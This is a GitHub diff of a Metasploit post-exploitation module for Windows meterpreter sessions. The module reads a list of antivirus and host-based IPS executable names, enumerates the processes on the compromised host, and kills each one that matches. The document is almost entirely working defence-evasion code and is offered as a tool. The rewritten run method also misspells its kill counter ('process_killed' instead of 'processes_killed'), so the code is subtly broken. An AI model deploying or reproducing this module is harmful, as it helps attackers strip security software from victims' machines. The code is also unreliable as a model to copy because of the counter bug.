|
2 | 2 | # This module requires Metasploit: http://metasploit.com/download
|
3 | 3 | # Current source: https://github.com/rapid7/metasploit-framework
|
4 | 4 | ##
|
5 |
| -## |
6 | 5 |
|
7 | 6 | require 'msf/core'
|
| 7 | +require 'set' |
8 | 8 |
|
9 |
| -class Metasploit3 < Msf::Post |
| 9 | +class Metasploit4 < Msf::Post |
10 | 10 |
|
11 | 11 | def initialize(info={})
|
12 | 12 | super(update_info(info,
|
13 |
| - 'Name' => 'Windows Post Kill Antivirus and Hips', |
14 |
| - 'Description' => %q{ |
15 |
| - Converted and merged several post scripts to remove a maximum of av and hips. |
16 |
| - }, |
17 |
| - 'License' => MSF_LICENSE, |
18 |
| - 'Author' => [ 'Marc-Andre Meloche (MadmanTM)', 'Nikhil Mittal (Samratashok)', 'Jerome Athias'], |
19 |
| - 'Platform' => [ 'win' ], |
20 |
| - 'SessionTypes' => [ 'meterpreter' ] |
| 13 | + 'Name' => 'Windows Post Kill Antivirus and Hips', |
| 14 | + 'Description' => %q{ |
| 15 | + This module attempts to locate and terminate any processes that are identified |
| 16 | + as being Antivirus or Host-based IPS related. |
| 17 | + }, |
| 18 | + 'License' => MSF_LICENSE, |
| 19 | + 'Author' => [ |
| 20 | + 'Marc-Andre Meloche (MadmanTM)', |
| 21 | + 'Nikhil Mittal (Samratashok)', |
| 22 | + 'Jerome Athias' |
| 23 | + ], |
| 24 | + 'Platform' => ['win'], |
| 25 | + 'SessionTypes' => ['meterpreter'] |
21 | 26 | ))
|
22 | 27 | end
|
23 | 28 |
|
24 | 29 | def run
|
| 30 | + avs = ::File.read(::File.join(Msf::Config.data_directory, 'wordlists', |
| 31 | + 'av_hips_executables.txt')).strip |
| 32 | + avs = Set.new(avs.split("\n")) |
25 | 33 |
|
26 |
| - avs = ::File.read(::File.join(Msf::Config.data_directory, 'wordlists', 'av_list.txt')) |
| 34 | + processes_found = 0 |
| 35 | + processes_killed = 0 |
| 36 | + client.sys.process.get_processes().each do |x| |
| 37 | + vprint_status("Checking #{x['name'].downcase} ...") |
| 38 | + if avs.include?(x['name'].downcase) |
| 39 | + processes_found += 1 |
| 40 | + print_status("Attempting to terminate '#{x['name']}' (PID: #{x['pid']}) ...") |
| 41 | + begin |
| 42 | + client.sys.process.kill(x['pid']) |
| 43 | + process_killed += 1 |
| 44 | + print_good("#{x['name']} terminated.") |
| 45 | + rescue Rex::Post::Meterpreter::RequestError |
| 46 | + print_error("Failed to terminate '#{x['name']}' (PID: #{x['pid']}).") |
| 47 | + end |
| 48 | + end |
| 49 | + end |
| 50 | + |
| 51 | + if processes_found == 0 |
| 52 | + print_status('No target processes were found.') |
| 53 | + else |
| 54 | + print_good("A total of #{processes_found} process(es) were discovered, #{processes_killed} were terminated.") |
| 55 | + end |
| 56 | + end |
27 | 57 |
|
28 |
| - client.sys.process.get_processes().each do |x| |
29 |
| - if avs.include?(x['name'].downcase) |
30 |
| - print_status("Killing off #{x['name']}...") |
31 |
| - client.sys.process.kill(x['pid']) |
32 |
| - end |
33 |
| - end |
34 |
| -end |
35 | 58 | end
|
0 commit comments